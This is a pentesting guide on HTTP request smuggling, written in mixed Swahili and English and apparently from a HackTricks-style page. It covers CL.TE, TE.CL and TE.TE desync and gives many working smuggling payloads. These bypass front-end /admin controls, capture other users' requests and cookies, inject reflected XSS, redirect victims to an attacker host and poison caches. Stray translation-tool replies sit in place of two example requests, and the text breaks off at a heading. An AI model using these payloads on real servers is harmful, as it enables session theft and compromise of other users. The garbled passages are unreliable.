HTTP Request Smuggling / HTTP Desync Attack

Reading time: 30 minutes

Nini

Udhaifu huu hutokea wakati kunakuwa na desyncronization kati ya front-end proxies na server ya back-end, ikimruhusu attacker send HTTP request ambayo itatafsiriwa kama single request na front-end proxies (load balance/reverse-proxy) na as 2 request na server ya back-end.
Hii inamruhusu mtumiaji modify the next request that arrives to the back-end server after his.

Nadharia

RFC Specification (2161)

If a message is received with both a Transfer-Encoding header field and a Content-Length header field, the latter MUST be ignored.

Content-Length

The Content-Length entity header indicates the size of the entity-body, in bytes, sent to the recipient.

Transfer-Encoding: chunked

The Transfer-Encoding header specifies the form of encoding used to safely transfer the payload body to the user.
Chunked means that large data is sent in a series of chunks

Uhalisia

The Front-End (a load-balance / Reverse Proxy) process the content-length or the transfer-encoding header na server ya Back-end process the other one, hivyo kusababisha desyncronization kati ya mifumo miwili.
Hii inaweza kuwa hatari sana kwa sababu an attacker will be able to send one request kwa reverse proxy ambayo itatafsiriwa na server ya back-end as 2 different requests. Hatari ya mbinu hii iko kwa sababu server ya back-end itatafsiri 2nd request injected kana kwamba ilitoka kwa the next client, na the real request ya mteja huyo itakuwa sehemu ya the injected request.

Sifa Maalum

Kumbuka kwamba katika HTTP a new line character is composed by 2 bytes:

• Content-Length: Kichwa hiki kinatumia nambari ya decimal number kucharacter idadi ya bytes za mwili wa request. Mwili unatarajiwa kumalizika kwenye tabia ya mwisho; a new line is not needed in the end of the request.
• Transfer-Encoding: Kichwa hiki kinatumia katika mwili nambari ya hexadecimal number kuonyesha idadi ya bytes za next chunk. Chunk lazima end na new line lakini new line hii isn't counted kwenye kiashiria cha urefu. Mbinu hii ya uhamishaji lazima iishe na chunk of size 0 followed by 2 new lines: 0
• Connection: Kwa uzoefu wangu inapendekezwa kutumia Connection: keep-alive kwenye request ya kwanza ya request Smuggling.

Mifano ya Msingi

HTTP request smuggling attacks hutengenezwa kwa kutuma requests zenye utata ambazo zinachokoza tofauti za tafsiri kati ya front-end na back-end kuhusu vichwa vya Content-Length (CL) na Transfer-Encoding (TE). Mashambulizi haya yanaweza kuonekana kwa aina tofauti, hasa kama CL.TE, TE.CL, na TE.TE. Kila aina inaonyesha mchanganyiko wa jinsi front-end na back-end zinavyoweka kipaumbele kwa vichwa hivi. Udhaifu hutokea wanapotumia request ile ile kwa njia tofauti, na kusababisha matokeo yasiyotegemewa na kwa uharibifu.

Mifano ya Msingi ya Aina za Udhaifu

CL.TE Vulnerability (Content-Length used by Front-End, Transfer-Encoding used by Back-End)

• Front-End (CL): Inashughulikia request kwa msingi wa kichwa Content-Length.

• Back-End (TE): Inashughulikia request kwa msingi wa kichwa Transfer-Encoding.

• Senario ya Shambulizi:

• Mshambuliaji anatuma request ambapo thamani ya kichwa Content-Length haitosheani na urefu halisi wa maudhui.

• front-end server inapitisha request nzima kwa back-end, ikitegemea thamani ya Content-Length.

• back-end server inachukulia request kama chunked kutokana na kichwa Transfer-Encoding: chunked, ikitafsiri data iliyo baki kama request tofauti inayofuata.

• Mfano:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 30
Connection: keep-alive
Transfer-Encoding: chunked

0

GET /404 HTTP/1.1
Foo: x

TE.CL Vulnerability (Transfer-Encoding used by Front-End, Content-Length used by Back-End)

• Front-End (TE): Inashughulikia request kwa msingi wa kichwa Transfer-Encoding.

• Back-End (CL): Inashughulikia request kwa msingi wa kichwa Content-Length.

• Senario ya Shambulizi:

• Mshambuliaji anatuma request ya chunked ambapo size ya chunk (7b) na urefu halisi wa maudhui (Content-Length: 4) havilingani.

• front-end server, ikiheshimu Transfer-Encoding, inapitisha request nzima kwa back-end.

• back-end server, ikiheshimu Content-Length, inashughulikia sehemu tu ya awali ya request (7b bytes), na kuacha sehemu iliyobaki kama sehemu ya request inayofuata isiyotarajiwa.

• Mfano:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 4
Connection: keep-alive
Transfer-Encoding: chunked

7b
GET /404 HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 30

x=
0

TE.TE Vulnerability (Transfer-Encoding used by both, with obfuscation)

• Servers: Zote zinaunga mkono Transfer-Encoding, lakini moja inaweza kudanganywa kuiacha bila kuisoma kupitia obfuscation.

• Senario ya Shambulizi:

• Mshambuliaji anatuma request yenye vichwa vya Transfer-Encoding vilivyofichika.

• Kulingana na ni server gani (front-end au back-end) isiyotambua obfuscation, udhaifu wa CL.TE au TE.CL unaweza kutumika.

• Sehemu isiyoshughulikiwa ya request, kama inavyoonekana na mojawapo ya server, inakuwa sehemu ya request inayofuata, na kusababisha smuggling.

• Mfano:

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked

Transfer-Encoding
: chunked

CL.CL Scenario (Content-Length used by both Front-End and Back-End)

• Server zote mbili zinashughulikia request kwa msingi wa kichwa Content-Length.
• Hali hii kwa kawaida haileti smuggling, kwa kuwa kuna muafaka wa jinsi server zote zinavyotafsiri urefu wa request.
• Mfano:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive

Normal Request

CL.0 Scenario

• Inarejea kwenye senario ambapo kichwa Content-Length kipo na kina thamani isiyo sifuri, ikionyesha kuwa mwili wa request una maudhui. Back-end inaacha kuzingatia Content-Length (inachukuliwa kama 0), lakini front-end inakitafsiri.
• Hii ni muhimu katika kuelewa na kutengeneza shambulizi za smuggling, kwani inaathiri jinsi server zinavyoamua mwisho wa request.
• Mfano:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive

Non-Empty Body

TE.0 Scenario

• Kama ile ya awali lakini ukitumia TE.
• Technique reported here
• Example:

OPTIONS / HTTP/1.1
Host: {HOST}
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36
Transfer-Encoding: chunked
Connection: keep-alive

50
GET <http://our-collaborator-server/> HTTP/1.1
x: X
0
EMPTY_LINE_HERE
EMPTY_LINE_HERE

Breaking the web server

Mbinu hii pia inafaa katika matukio ambapo inawezekana kuvunja web server wakati wa kusoma data za awali za HTTP lakini bila kufunga connection. Kwa njia hii, body ya HTTP request itachukuliwa kama next HTTP request.

For example, as explained in this writeup, In Werkzeug it was possible to send some Unicode characters and it will make the server break. However, if the HTTP connection was created with the header Connection: keep-alive, the body of the request won’t be read and the connection will still be open, so the body of the request will be treated as the next HTTP request.

Kulazimisha kupitia hop-by-hop headers

Kutumia vibaya hop-by-hop headers unaweza kuashiria proxy ili kufuta header Content-Length au Transfer-Encoding ili kutumika kwa HTTP request smuggling.

Connection: Content-Length

For more information about hop-by-hop headers visit:

hop-by-hop headers

Kutambua HTTP Request Smuggling

Kutambua udhaifu wa HTTP request smuggling mara nyingi kunaweza kufikiwa kwa kutumia mbinu za muda (timing techniques), ambazo zinategemea kuchunguza ni muda gani server inachukua kujibu maombi yaliyobadilishwa. Mbinu hizi zinafaa hasa kwa kugundua udhaifu za CL.TE na TE.CL. Mbali na mbinu hizi, kuna mikakati na zana nyingine zinazoweza kutumika kutafuta udhaifu hizi:

Kutambua udhaifu za CL.TE kwa kutumia mbinu za muda

• Mbinu:

• Tuma ombi ambalo, ikiwa programu ni dhaifu, litasababisha seva ya nyuma kusubiri data ya ziada.

• Mfano:

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 4

1
A
0

• Uchunguzi:

• Seva ya mbele inashughulikia ombi kulingana na Content-Length na inakata ujumbe mapema.

• Seva ya nyuma, ikitarajia ujumbe wa chunked, inasubiri chunk inayofuata ambayo haifiki, na kusababisha uchelewaji.

• Viashiria:

• Kuisha kwa muda wa kusubiri (timeouts) au uchelewaji mrefu wa majibu.

• Kupokea hitilafu 400 Bad Request kutoka kwa seva ya nyuma, mara nyingine ikiwa na maelezo ya kina ya seva.

Kutambua udhaifu za TE.CL kwa kutumia mbinu za muda

• Mbinu:

• Tuma ombi ambalo, ikiwa programu ni dhaifu, litasababisha seva ya nyuma kusubiri data ya ziada.

• Mfano:

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 6

0
X

• Uchunguzi:
• Seva ya mbele inashughulikia ombi kulingana na Transfer-Encoding na inatuma ujumbe mzima.
• Seva ya nyuma, ikitarajia ujumbe kulingana na Content-Length, inasubiri data ya ziada ambayo haifiki, na kusababisha uchelewaji.

Mbinu nyingine za kutafuta udhaifu

• Uchambuzi wa Mwitikio wa Tofauti:
• Tuma matoleo kidogo tofauti ya ombi na uchunguze ikiwa majibu ya seva yanatofautiana kwa njia isiyotegemewa, ikionyesha tofauti ya ufafanuzi (parsing discrepancy).
• Kutumia Zana Zilizo Otomatiki:
• Zana kama Burp Suite's 'HTTP Request Smuggler' extension zinaweza kujaribu moja kwa moja udhaifu hizi kwa kutuma aina mbalimbali za maombi yenye utata na kuchanganua majibu.
• Majaribio ya Mabadiliko ya Content-Length:
• Tuma maombi yenye thamani za Content-Length zinazobadilika ambazo hazilingani na urefu halisi wa maudhui na uchunguze jinsi seva inavyoshughulikia utofauti huo.
• Majaribio ya Mabadiliko ya Transfer-Encoding:
• Tuma maombi yenye vichwa vya Transfer-Encoding vilivyofichika au vilivyoharibika na fuatilia jinsi seva za mbele na nyuma zinavyotofautiana kuhimili marekebisho hayo.

HTTP Request Smuggling Vulnerability Testing

Baada ya kuthibitisha ufanisi wa mbinu za muda, ni muhimu kuthibitisha ikiwa maombi ya mteja yanaweza kubadilishwa. Njia rahisi ni kujaribu kuchafua maombi yako, kwa mfano, kufanya ombi la / lirudishe jibu la 404. Mifano ya CL.TE na TE.CL zilizojadiliwa hapo awali katika Basic Examples zinaonyesha jinsi ya kuchafua ombi la mteja ili kupata jibu la 404, licha ya mteja kutaka kufikia rasilimali tofauti.

Mambo Muhimu ya Kuzingatia

Wakati wa kujaribu request smuggling kwa kuingilia maombi ya wengine, zingatia:

• Muunganisho Tofauti wa Mtandao: Maombi ya "attack" na "normal" yanapaswa kutumwa kwa muunganisho tofauti wa mtandao. Kutumia muunganisho mmoja kwa yote haya hakuthibitishi uwepo wa udhaifu.
• URL na Vigezo Vinavyolingana: Lenga kutumia URL na majina ya vigezo vinavyofanana kwa maombi yote mawili. Programu za kisasa mara nyingi hupeleka maombi kwa seva maalum za nyuma kulingana na URL na vigezo. Kuzingana kwa haya kunaongeza uwezekano kwamba maombi yote mawili yatashughulikiwa na seva ile ile, jambo muhimu kwa shambulio kufanikiwa.
• Muda na Mashindano (Racing Conditions): Ombi la "normal", lililolenga kugundua kuingiliwa kutoka kwa ombi la "attack", linashindana na maombi mengine yanayotumwa kwa wakati mmoja. Kwa hivyo, tuma ombi la "normal" mara moja baada ya ombi la "attack". Programu zenye shughuli nyingi zinaweza kuhitaji jaribio nyingi ili kuthibitisha udhaifu kwa hakika.
• Changamoto za Usambazaji wa Mzigo (Load Balancing): Seva za mbele zinazofanya kazi kama load balancers zinaweza kusambaza maombi kwa mifumo tofauti za nyuma. Ikiwa maombi ya "attack" na "normal" yanamalizika kwenye mifumo tofauti, shambulio hatatafanikiwa. Kipengele hiki cha load balancing kinaweza kuhitaji jaribio kadhaa ili kuthibitisha udhaifu.
• Athari zisizokusudiwa kwa Watumiaji: Ikiwa shambulio lako kwa bahati mbaya linaathiri ombi la mtumiaji mwingine (si ombi la "normal" uliotuma kwa ugunduzi), hili linaonyesha shambulio lako liliathiri mtumiaji mwingine wa programu. Kuendelea kufanya majaribio kunaweza kuingilia watumiaji wengine, hivyo inashauriwa kuzingatia tahadhari.

Kutofautisha vikoromeo vya pipelining za HTTP/1.1 dhidi ya request smuggling halisi

Matumizi upya ya muunganisho (keep-alive) na pipelining vinaweza kwa urahisi kuunda udanganyifu wa "smuggling" katika zana za upimaji ambazo zimetuma maombi mengi kwenye socket moja. Jifunze kutenganisha vikoromeo visivyo hatari vya upande wa mteja kutoka kwa desync halisi upande wa server.

Kwa nini pipelining huunda false positives za kawaida

HTTP/1.1 inatumia tena muunganisho mmoja wa TCP/TLS na kuunganisha maombi na majibu kwenye mtiririko mmoja. Katika pipelining, mteja anatumia maombi mengi mfululizo na kutegemea majibu kwa mpangilio. False-positive ya kawaida ni kutuma tena payload mbovu ya mtindo wa CL.0 mara mbili kwenye muunganisho mmoja:

POST / HTTP/1.1
Host: hackxor.net
Content_Length: 47

GET /robots.txt HTTP/1.1
X: Y

I need the content of src/pentesting-web/http-request-smuggling/README.md to translate — please paste the file text here.

HTTP/1.1 200 OK
Content-Type: text/html

HTTP/1.1 200 OK
Content-Type: text/plain

User-agent: *
Disallow: /settings

Ikiwa server ilipuuzia Content_Length iliyoharibika, hakuna FE↔BE desync. Kwa utumiaji tena, client yako kwa kweli ilituma mfululizo huu wa bytes, ambao server uliutafsiri kama maombi mawili huru:

POST / HTTP/1.1
Host: hackxor.net
Content_Length: 47

GET /robots.txt HTTP/1.1
X: YPOST / HTTP/1.1
Host: hackxor.net
Content_Length: 47

GET /robots.txt HTTP/1.1
X: Y

Athari: hakuna. Ume desynced client yako kutoka kwenye server framing.

Mitihani ya Litmus: pipelining au desync halisi?

1. Disable reuse and re-test

• Kwenye Burp Intruder/Repeater, zima HTTP/1 reuse na usitumie "Send group in sequence".
• Kwenye Turbo Intruder, weka requestsPerConnection=1 na pipeline=False.
• Kama tabia inapotea, kwa kawaida ilikuwa client-side pipelining, isipokuwa ukikabiliana na targets connection-locked/stateful au client-side desync.

2. HTTP/2 nested-response check

• Tuma ombi la HTTP/2. Ikiwa mwili wa response una nested HTTP/1 response kamili, umeonyesha bug ya backend parsing/desync badala ya artifact ya client peke yake.

3. Partial-requests probe for connection-locked front-ends

• Baadhi ya FEs zinareuse tu upstream BE connection ikiwa client ilireuse yao. Tumia partial-requests kugundua tabia ya FE inayolingana na client reuse.
• Angalia PortSwigger "Browser‑Powered Desync Attacks" kwa mbinu ya connection-locked.

4. State probes

• Tazama tofauti kati ya first- vs subsequent-request kwenye TCP connection ile ile (first-request routing/validation).
• Burp "HTTP Request Smuggler" ina connection‑state probe inayooautomatisha hili.

5. Visualize the wire

• Tumia Burp "HTTP Hacker" extension kuangalia concatenation na message framing moja kwa moja huku ukijaribu reuse na partial requests.

Connection‑locked request smuggling (reuse-required)

Some front-ends only reuse the upstream connection when the client reuses theirs. Real smuggling exists but is conditional on client-side reuse. To distinguish and prove impact:

• Prove the server-side bug
• Use the HTTP/2 nested-response check, or
• Use partial-requests to show the FE only reuses upstream when the client does.
• Show real impact even if direct cross-user socket abuse is blocked:
• Cache poisoning: poison shared caches via the desync so responses affect other users.
• Internal header disclosure: reflect FE-injected headers (e.g., auth/trust headers) and pivot to auth bypass.
• Bypass FE controls: smuggle restricted paths/methods past the front-end.
• Host-header abuse: combine with host routing quirks to pivot to internal vhosts.
• Operator workflow
• Reproduce with controlled reuse (Turbo Intruder requestsPerConnection=2, or Burp Repeater tab group → "Send group in sequence (single connection)").
• Then chain to cache/header-leak/control-bypass primitives and demonstrate cross-user or authorization impact.

See also connection‑state attacks, which are closely related but not technically smuggling:

{{#ref}} ../http-connection-request-smuggling.md {{#endref}}

Client‑side desync constraints

If you’re targeting browser-powered/client-side desync, the malicious request must be sendable by a browser cross-origin. Header obfuscation tricks won’t work. Focus on primitives reachable via navigation/fetch, and then pivot to cache poisoning, header disclosure, or front-end control bypass where downstream components reflect or cache responses.

For background and end-to-end workflows:

Browser HTTP Request Smuggling

Tooling to help decide

• HTTP Hacker (Burp BApp Store): exposes low-level HTTP behavior and socket concatenation.
• "Smuggling or pipelining?" Burp Repeater Custom Action: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda
• Turbo Intruder: precise control over connection reuse via requestsPerConnection.
• Burp HTTP Request Smuggler: includes a connection‑state probe to spot first‑request routing/validation.

Abusing HTTP Request Smuggling

Circumventing Front-End Security via HTTP Request Smuggling

Sometimes, front-end proxies enforce security measures, scrutinizing incoming requests. However, these measures can be circumvented by exploiting HTTP Request Smuggling, allowing unauthorized access to restricted endpoints. For instance, accessing /admin might be prohibited externally, with the front-end proxy actively blocking such attempts. Nonetheless, this proxy may neglect to inspect embedded requests within a smuggled HTTP request, leaving a loophole for bypassing these restrictions.

Consider the following examples illustrating how HTTP Request Smuggling can be used to bypass front-end security controls, specifically targeting the /admin path which is typically guarded by the front-end proxy:

CL.TE Example

POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 67
Transfer-Encoding: chunked

0
GET /admin HTTP/1.1
Host: localhost
Content-Length: 10

x=

Katika shambulio la CL.TE, kichwa Content-Length kinatumika kwa ombi la awali, wakati ombi lililojumuishwa baadaye linatumia kichwa Transfer-Encoding: chunked. front-end proxy inashughulikia ombi la awali la POST lakini inashindwa kuchunguza ombi lililojumuishwa la GET /admin, na hivyo kuruhusu upatikanaji usioidhinishwa wa njia ya /admin.

TE.CL Mfano

POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 4
Transfer-Encoding: chunked
2b
GET /admin HTTP/1.1
Host: localhost
a=x
0

Kwa upande mwingine, katika shambulio la TE.CL, ombi la awali la POST linatumia Transfer-Encoding: chunked, na ombi lililofichwa ndani lililofuata linashughulikiwa kulingana na kichwa cha Content-Length. Kama katika shambulio la CL.TE, front-end proxy inapuuza ombi lililosmugglowa la GET /admin, na kwa bahati mbaya ikiruhusu upatikanaji wa njia iliyozuiliwa /admin.

Kufichua urekebishaji wa maombi wa front-end

Maombi mara nyingi hutumia front-end server kubadilisha maombi yanayoingia kabla ya kuyapeleka kwa back-end server. Marekebisho ya kawaida ni kuongeza headers, kama X-Forwarded-For: <IP of the client>, ili kuwasilisha IP ya mteja kwa back-end. Kuelewa marekebisho haya kunaweza kuwa muhimu, kwani yanaweza kufichua njia za bypass protections au uncover concealed information or endpoints.

Ili kuchunguza jinsi proxy inavyobadilisha ombi, tafuta parameter ya POST ambayo back-end inarudia katika jibu. Kisha, tengeneza ombi, ukitumia parameter hii mwisho, sawa na ifuatavyo:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 130
Connection: keep-alive
Transfer-Encoding: chunked

0

POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100

search=

Katika muundo huu, sehemu za baadaye za request zinaambatishwa baada ya search=, ambayo ni parameter inayorudishwa katika response. Uonyeshaji huu utafunua headers za request iliyofuata.

Ni muhimu kulinganisha header ya Content-Length ya nested request na urefu halisi wa content. Ni vema kuanza na thamani ndogo na kuiongeza hatua kwa hatua, kwani thamani iliyokuwa ndogo sana itakata data iliyorudishwa, wakati thamani kubwa sana inaweza kusababisha request kupata error.

Mbinu hii pia inafaa katika muktadha wa TE.CL vulnerability, lakini request inapaswa kumalizika na search=\r\n0. Bila kujali newline characters, values zitaongezwa kwenye parameter ya search.

Mbinu hii hasa hutumika kuelewa mabadiliko ya request yaliyofanywa na front-end proxy — kwa ujumla, kufanya uchunguzi wa kibinafsi.

Kupata maombi ya watumiaji wengine

Inawezekana kukamata requests za mtumiaji anayefuata kwa kuambatisha request maalum kama value ya parameter wakati wa POST. Hapa kuna jinsi hii inaweza kufanywa:

Kwa kuambatisha request ifuatayo kama value ya parameter, unaweza kuhifadhi request ya mteja anayefuata:

POST / HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 319
Connection: keep-alive
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
Transfer-Encoding: chunked

0

POST /post/comment HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Length: 659
Content-Type: application/x-www-form-urlencoded
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi

csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40email.com&comment=

Katika tukio hili, the comment parameter imekusudiwa kuhifadhi yaliyomo ndani ya sehemu ya maoni ya post kwenye ukurasa unaopatikana kwa umma. Kwa hiyo, yaliyomo ya ombi linalofuata yataonekana kama maoni.

Hata hivyo, mbinu hii ina mipaka. Kwa ujumla, inakamata data hadi delimiter ya parameter inayotumika katika smuggled request. Kwa uwasilishaji wa fomu zilizotumwa kwa URL-encoding, delimiter hii ni tabia ya &. Hii inamaanisha yaliyokamatwa kutoka kwa ombi la mtumiaji-mhusika yatakoma kwenye & ya kwanza, ambayo inaweza hata kuwa sehemu ya query string.

Zaidi ya hayo, inafaa kutambua kwamba njia hii pia inawezekana kwa TE.CL vulnerability. Katika kesi kama hizo, ombi linapaswa kumalizika kwa search=\r\n0. Bila kujali newline characters, values zitaongezwa kwenye parameter ya search.

Kutumia HTTP Request Smuggling ku-exploit Reflected XSS

HTTP Request Smuggling inaweza kutumika ku-exploit kurasa za wavuti zilizo hatarini kwa Reflected XSS, na kutoa faida zifuatazo:

• Ushawishi na watumiaji wa lengo hauhitajiki.
• Inaruhusu ku-exploit XSS katika sehemu za ombi ambazo kwa kawaida hazipatikani, kama HTTP request headers.

Katika matukio ambapo tovuti ina hatari ya Reflected XSS kupitia header ya User-Agent, the following payload inaonyesha jinsi ya ku-exploit vulnerability hii:

POST / HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Cookie: session=ac311fa41f0aa1e880b0594d008d009e
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 213
Content-Type: application/x-www-form-urlencoded

0

GET /post?postId=2 HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: "><script>alert(1)</script>
Content-Length: 10
Content-Type: application/x-www-form-urlencoded

A=

This payload imepangwa kunufaisha udhaifu kwa:

1. Kuanza na POST request, inaonekana ya kawaida, yenye header ya Transfer-Encoding: chunked kuashiria mwanzo wa smuggling.
2. Kufuatia na 0, ikionyesha mwisho wa chunked message body.
3. Kisha, smuggled GET request inaingizwa, ambapo header ya User-Agent imeingizwa na script, <script>alert(1)</script>, inayoanzisha XSS wakati server inaposhughulikia request iliyofuata.

Kwa kudanganya User-Agent kupitia smuggling, payload inapita vizingiti vya kawaida vya request, na hivyo kunufaisha Reflected XSS kwa njia isiyo ya kawaida lakini yenye ufanisi.

HTTP/0.9

Toleo la HTTP/0.9 lilikuwa kabla ya 1.0 na linatumia tu vitenzi vya GET na halijibu na headers, bali tu body.

Katika this writeup, hili lilitumiwa kwa request smuggling na vulnerable endpoint ambayo itajibu na input ya mtumiaji ili ku-smuggle request kwa HTTP/0.9. Parameter ambayo itarudishwa kwenye response ilijumuisha fake HTTP/1.1 response (with headers and body) hivyo response itakuwa na JS ambayo inaweza kutekelezwa ikiwa yana Content-Type ya text/html.

Exploiting On-site Redirects with HTTP Request Smuggling

Applications mara nyingi zinafanya redirect kutoka URL moja kwenda nyingine kwa kutumia hostname kutoka kwa Host header katika redirect URL. Hii ni kawaida kwenye web servers kama Apache na IIS. Kwa mfano, kuomba folder bila trailing slash husababisha redirect ili kuongeza slash:

GET /home HTTP/1.1
Host: normal-website.com

Matokeo ni:

HTTP/1.1 301 Moved Permanently
Location: https://normal-website.com/home/

Ingawa kwa kuonekana haina hatari, tabia hii inaweza kutumiwa kwa kutumia HTTP request smuggling ili kuwaelekeza watumiaji kwenye tovuti ya nje. Kwa mfano:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 54
Connection: keep-alive
Transfer-Encoding: chunked

0

GET /home HTTP/1.1
Host: attacker-website.com
Foo: X

Ombi hili la smuggled request linaweza kusababisha ombi la mtumiaji linalofanyiwa usindikaji lifuatalo kuelekezwa kwenye tovuti inayodhibitiwa na mshambuliaji:

GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /scripts/include.js HTTP/1.1
Host: vulnerable-website.com

Matokeo:

HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/

Katika tukio hili, ombi la mtumiaji la faili ya JavaScript linachukuliwa. Mshambuliaji anaweza kumdhibiti mtumiaji kwa kumtumia JavaScript yenye madhara kama jibu.

Exploiting Web Cache Poisoning via HTTP Request Smuggling

Web cache poisoning inaweza kufanywa ikiwa sehemu yoyote ya front-end infrastructure caches content, kawaida ili kuboresha utendaji. Kwa kudanganya majibu ya seva, inawezekana poison the cache.

Tangulia, tuliangazia jinsi majibu ya seva yalivyoweza kubadilishwa ili kurudisha hitilafu ya 404 (refer to Basic Examples). Vivyo hivyo, inawezekana kudanganya seva ili itume maudhui ya /index.html kama jibu kwa ombi la /static/include.js. Kwa matokeo, maudhui ya /static/include.js yanabadilishwa kwenye cache na yale ya /index.html, na hivyo kufanya /static/include.js isipatikane kwa watumiaji, ambayo inaweza kusababisha Denial of Service (DoS).

Teknika hii inakuwa hatari hasa ikiwa Open Redirect vulnerability itagunduliwa au ikiwa kuna on-site redirect to an open redirect. Udhaifu kama huo unaweza kutumika kubadilisha maudhui yaliyohifadhiwa kwenye cache ya /static/include.js na script chini ya udhibiti wa mshambuliaji, kwa kweli kuruhusu mashambulizi ya Cross-Site Scripting (XSS) kwa wateja wote wanaoomba /static/include.js iliyosasishwa.

Chini ni mwonekano wa jinsi ya kutumia cache poisoning combined with an on-site redirect to open redirect. Lengo ni kubadilisha maudhui yaliyomo kwenye cache ya /static/include.js ili kutoa code ya JavaScript inayodhibitiwa na mshambuliaji:

POST / HTTP/1.1
Host: vulnerable.net
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 124
Transfer-Encoding: chunked

0

GET /post/next?postId=3 HTTP/1.1
Host: attacker.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 10

x=1

Zingatia embedded request inayolenga /post/next?postId=3. This request itaelekezwa tena kwenda /post?postId=4, ikitumia Host header value kubaini domain. Kwa kubadilisha Host header, mshambuliaji anaweza kuiredirect request kwenda domain yao (on-site redirect to open redirect).

Baada ya mafanikio ya socket poisoning, GET request kwa /static/include.js inapaswa kuanzishwa. This request itachafuliwa na request ya awali ya on-site redirect to open redirect na itachukua maudhui ya script inayodhibitiwa na mshambuliaji.

Baadaye, any request kwa /static/include.js itatoa maudhui yaliyohifadhiwa kwenye cache ya script ya mshambuliaji, kwa ufanisi kuzindua shambulio la XSS pana.

Kutumia HTTP request smuggling kutekeleza web cache deception

Je, ni tofauti gani kati ya web cache poisoning na web cache deception?

• Katika web cache poisoning, mshambuliaji husababisha application kuhifadhi baadhi ya maudhui mabaya kwenye cache, na maudhui haya hutolewa kutoka kwenye cache kwa watumiaji wengine wa application.
• Katika web cache deception, mshambuliaji husababisha application kuhifadhi baadhi ya maudhui nyeti ya mtumiaji mwingine kwenye cache, na kisha mshambuliaji huzipata maudhui haya kutoka kwenye cache.

Mshambuliaji anatengeneza smuggled request inayopata maudhui nyeti ya mtumiaji fulani. Consider the following example:

`POST / HTTP/1.1`\
`Host: vulnerable-website.com`\
`Connection: keep-alive`\
`Content-Length: 43`\
`Transfer-Encoding: chunked`\
`` \ `0`\ ``\
`GET /private/messages HTTP/1.1`\
`Foo: X`

Iki ombi lililofichwa likipotia sumu kipengee cha cache kilichokusudiwa kwa maudhui ya static (mfano, /someimage.png), data nyeti za mwathirika kutoka /private/messages zinaweza kuhifadhiwa chini ya kipengee hicho cha cache cha maudhui ya static. Kwa hivyo, mshambuliaji anaweza kupata data hizi nyeti zilizohifadhiwa kwenye cache.

Kutumia vibaya TRACE kupitia HTTP Request Smuggling

In this post inapendekeza kwamba ikiwa server imewezeshwa method TRACE, inaweza kuwa inawezekana kuitumia vibaya kwa HTTP Request Smuggling. Hii ni kwa sababu method hii itarudisha header yoyote iliyotumwa kwa server kama sehemu ya body ya response. Kwa mfano:

TRACE / HTTP/1.1
Host: example.com
XSS: <script>alert("TRACE")</script>

Tafadhali nitumie maudhui ya README.md unayotaka nitafsiri. Nitatafsiri maandishi ya Kiingereza muhimu kwa Kiswahili na kuhifadhi syntax ya markdown/html, code, links, refs na tags bila kubadilisha. Tuma yaliyomo hapa.

HTTP/1.1 200 OK
Content-Type: message/http
Content-Length: 115

TRACE / HTTP/1.1
Host: vulnerable.com
XSS: <script>alert("TRACE")</script>
X-Forwarded-For: xxx.xxx.xxx.xxx

Mfano wa jinsi ya kutumia vibaya tabia hii ni smuggle first a HEAD request. Request hii itajibiwa kwa tu na headers za GET request (Content-Type miongoni mwa hizo). Na smuggle immediately after the HEAD a TRACE request, ambayo itarudisha data iliyotumwa.
Kwa kuwa HEAD response itakuwa na header ya Content-Length, response ya TRACE request itachukuliwa kama body ya HEAD response, hivyo ikirudisha data yoyote katika response.
Hii response itatumwa kwa request inayofuata juu ya connection, hivyo inaweza kutumika katika cached JS file kwa mfano kuingiza JS code chochote.

Kutumia vibaya TRACE kupitia HTTP Response Splitting

